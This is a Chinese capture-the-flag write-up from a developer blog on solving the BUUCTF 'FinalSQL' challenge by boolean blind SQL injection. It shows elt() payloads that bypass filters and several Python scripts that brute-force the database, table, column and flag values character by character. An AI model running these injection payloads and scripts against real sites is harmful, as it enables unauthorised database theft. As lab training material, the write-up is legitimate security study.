前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >(SQL盲注)[极客大挑战 2019]FinalSQL

(SQL盲注)[极客大挑战 2019]FinalSQL

原创
作者头像
Gh0st1nTheShel
发布2022-02-18 21:36:40
1.4K0
发布2022-02-18 21:36:40
举报
文章被收录于专栏:网络空间安全网络空间安全

欢迎关注我的微信公众号《壳中之魂》

环境:BUUCTF在线评测 (buuoj.cn)

和之前的靶机差不多,也是一个登录框,但是多了几个按钮,标出来的局子也提醒了是通过sql盲注

对登录框做简单的fuzz

可以看到过滤了括号,所以报错注入派不上用场

但是可以注入的点不止这一个,点击主页的按钮,可以发现这里有个数字型注入,可以尝试盲注

做一下fuzz

只有少数几个关键字被过滤了,远没有刚才那个注入点多,但是if函数被过滤了,可以使用elt代替

首先判断一下是否可以使用

/search.php?id=elt(length(database())>1,6)

确定好可以使用elt函数进行盲注后,接下来就进入盲注阶段

由于此注入点过滤掉了空格,所以我采用()来绕过过滤,使用()绕过过滤有一个很大的问题就是会让语句很乱,所以我就现在本地,分段测试语句,确定语句可用后再在靶机上运行

在写脚本之前要先获取盲注的的判断规则,首先先确定语句正确和语句错误的区别

正确执行

错误执行

语法错误

首先先获取数据库的长度

可以看到长度为4

再判断数据库的名字,使用python脚本,由于buuctf的服务器加了个200状态码的判断,懂的都懂

代码语言:javascript
复制
import requests

q = []
# 将数字添加到列表中
for x in range(0, 10):
    q.append(x)
# 将小写字母添加和逗号添加到列表
for x in range(ord("a"), ord("z")+1):
    q.append(chr(x))
q.append(",")
# print(q)


for i in range(1, 5):
  for s in q:
    url = "http://cb93c4a8-bc95-43db-be46-28be43869ea1.node4.buuoj.cn:81/search.php?id="
    url = url + "elt(substr((select(database())),%d,1)='%s',6)" % (i, s)
    r = requests.get(url)
    if(("ERROR!!!" not in r.text) and (r.status_code == 200)):
        print(url)
        break
        # print(url)

看到数据库名为geek

接着再判断表名

代码语言:javascript
复制
import requests


q = []
# 将数字添加到列表中
for x in range(0, 10):
    q.append(x)
# 将小写字母添加和逗号添加到列表
for x in range(ord("a"), ord("z")+1):
    q.append(chr(x))
q.append(",")
# print(q)


for i in range(1, 17):
    for s in q:
        url = "http://cb93c4a8-bc95-43db-be46-28be43869ea1.node4.buuoj.cn:81/search.php?id="
        # elt(substr((select group_concat(table_name) from information_schema.tables where table_schema='geek'),1,1)='e',6)
        url = url + "elt(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema='geek')),%d,1)='%s',6)" % (i, s)
        r = requests.get(url)
        if(("ERROR!!!" not in r.text) and (r.status_code == 200)):
            print(url)
            break
        # print(url)

爆字段名,这里我遇到了奇怪的问题,不知道为什么,爆破出表名的时候,无论大小写都可以正确响应,但是爆字段的时候却需要区分大小写,我一开始输入的字段名为f1nal1y,但是爆破不出来,要换成F1naI1y才可以

代码语言:javascript
复制
import requests


q = []
# 将数字添加到列表中
for x in range(0, 10):
    q.append(x)
# 将小写字母添加和逗号添加到列表
for x in range(ord("a"), ord("z")+1):
    q.append(chr(x))
q.append(",")
# print(q)


for i in range(17, 21):
  for s in q:
    url = "http://cb93c4a8-bc95-43db-be46-28be43869ea1.node4.buuoj.cn:81/search.php?id="
    # elt(substr((select group_concat(table_name) from information_schema.tables where table_schema='geek'),1,1)='e',6)
    url = url + "elt(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),%d,1)='%s',6)" % (i, s)
    r = requests.get(url)
    if(("ERROR!!!" not in r.text) and (r.status_code == 200)):
        print(url)
        break
    # print(url)

flag最终藏在password字段里,而且这个值还很长,花了很长的时间

代码语言:javascript
复制
import requests


q = []
# 将数字添加到列表中
for x in range(0, 10):
    q.append(x)
# 将小写字母添加、逗号、-、{}添加到列表
for x in range(ord("a"), ord("z")+1):
    q.append(chr(x))
q.append(",")
q.append("_")
q.append("-")
q.append("{")
q.append("}")
# print(q)


for i in range(1, 230):
  for s in q:
    url = "http://cb93c4a8-bc95-43db-be46-28be43869ea1.node4.buuoj.cn:81/search.php?id="
    # elt(substr((select group_concat(table_name) from information_schema.tables where table_schema='geek'),1,1)='e',6)
    url = url + "elt(substr((select(group_concat(password))from(F1naI1y)),%d,1)='%s',6)" % (i, s)
    r = requests.get(url)
    if(("ERROR!!!" not in r.text) and (r.status_code == 200)):
        print(s, end="")
        break
    # print(url)

(结果因为靶机关了又跑了一次)

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档